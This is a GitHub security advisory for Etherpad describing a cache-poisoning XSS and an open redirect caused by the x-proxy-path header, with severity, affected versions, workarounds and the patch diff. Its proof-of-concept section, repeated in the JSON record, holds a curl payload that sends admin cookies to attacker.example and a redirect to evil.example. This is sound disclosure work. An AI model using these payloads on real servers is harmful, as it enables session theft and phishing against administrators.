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GHSA-FJGC-3MJ7-8RG8

Vulnerability from github – Published: 2026-08-13 13:46 – Updated: 2026-08-13 13:46
VLAI
Summary
ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header
Details

GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 — Medium (Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.) CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

  • An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
  • More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case — no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

  • AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
  • UI:R — victim must visit/interact with the admin UI.
  • S:C — scope changes (attacker context to admin origin).
  • C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

  • Admin XSS (Issue 3a): ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY_HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
  • Open-redirect (Issue 3b): ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
  • Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

  • ep_etherpad-lite >= 3.1.0 — the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \
  -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'

# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \
  -H 'x-proxy-path: //evil.example'

# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

  • Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
  • For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

Patched in 8c6104c (PR #7784):

  1. Extracted src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper:
  2. returns "" when the header is absent;
  3. strips characters outside [A-Za-z0-9_./-];
  4. collapses a leading //+ to a single / (kills protocol-relative URLs);
  5. prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
  6. rejects .. traversal segments.
  7. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:

-const sanitizeProxyPath = (req: any): string => {
-  const raw = req.header('x-proxy-path') || '';
-  return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

   if (ext === ".html" || ext === ".js" || ext === ".css") {
-    if (req.header(PROXY_HEADER)) {
+    const proxyPath = sanitizeProxyPath(req);
+    if (proxyPath) {
       let string = data.toString()
-      dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
-      dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+      dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+      dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
     }
+    res.setHeader('Vary', 'x-proxy-path');
+    res.setHeader('Cache-Control', 'private, no-store');
   }

Resources

  • Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c).
  • Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
  • Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits

Reported during an internal security audit by Claude (via @JohnMcLear).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "ep_etherpad-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-601",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T13:46:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# GHSA-03 \u2014 `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 \u2014 Medium\n  *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment \u2014 single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a \u2014 `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header(\u0027x-proxy-path\u0027)` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case \u2014 no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b \u2014 `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL \u2014 equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** \u2014 the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** \u2014 victim must visit/interact with the admin UI.\n- **S:C** \u2014 scope changes (attacker context to admin origin).\n- **C:L / I:L** \u2014 XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` \u2014 the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s \u0027https://pad.example/admin/index.html\u0027 \\\n  -H \u0027x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"\u0027\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i \u0027https://pad.example/p/foo/timeslider\u0027 \\\n  -H \u0027x-proxy-path: //evil.example\u0027\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don\u0027t.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` \u2014 a single shared helper used by both admin.ts and specialpages.ts. The helper:\n   - returns `\"\"` when the header is absent;\n   - strips characters outside `[A-Za-z0-9_./-]`;\n   - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n   - prepends `/` if the cleaned non-empty value doesn\u0027t already have one (so callers can always concatenate as an absolute prefix);\n   - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` \u2014 replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n-  const raw = req.header(\u0027x-proxy-path\u0027) || \u0027\u0027;\n-  return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, \u0027\u0027);\n-};\n+import {sanitizeProxyPath} from \u0027../../utils/sanitizeProxyPath\u0027;\n```\n\n`src/node/hooks/express/admin.ts` \u2014 sanitise the value AND emit cache-key/cache-control headers so a shared cache can\u0027t collapse responses across different proxy-path values:\n\n```diff\n   if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n-    if (req.header(PROXY_HEADER)) {\n+    const proxyPath = sanitizeProxyPath(req);\n+    if (proxyPath) {\n       let string = data.toString()\n-      dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n-      dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+      dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+      dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n     }\n+    res.setHeader(\u0027Vary\u0027, \u0027x-proxy-path\u0027);\n+    res.setHeader(\u0027Cache-Control\u0027, \u0027private, no-store\u0027);\n   }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).",
  "id": "GHSA-fjgc-3mj7-8rg8",
  "modified": "2026-08-13T13:46:08Z",
  "published": "2026-08-13T13:46:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/6399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/7710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/pull/7784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/commit/451bd9c3ebb0dded99dd0ff21811ee00e0940c29"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ether/etherpad/commit/63e9b2d4eb303cd341022591bdf9484584db36e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ether/etherpad"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via\u00a0x-proxy-path Header"
}



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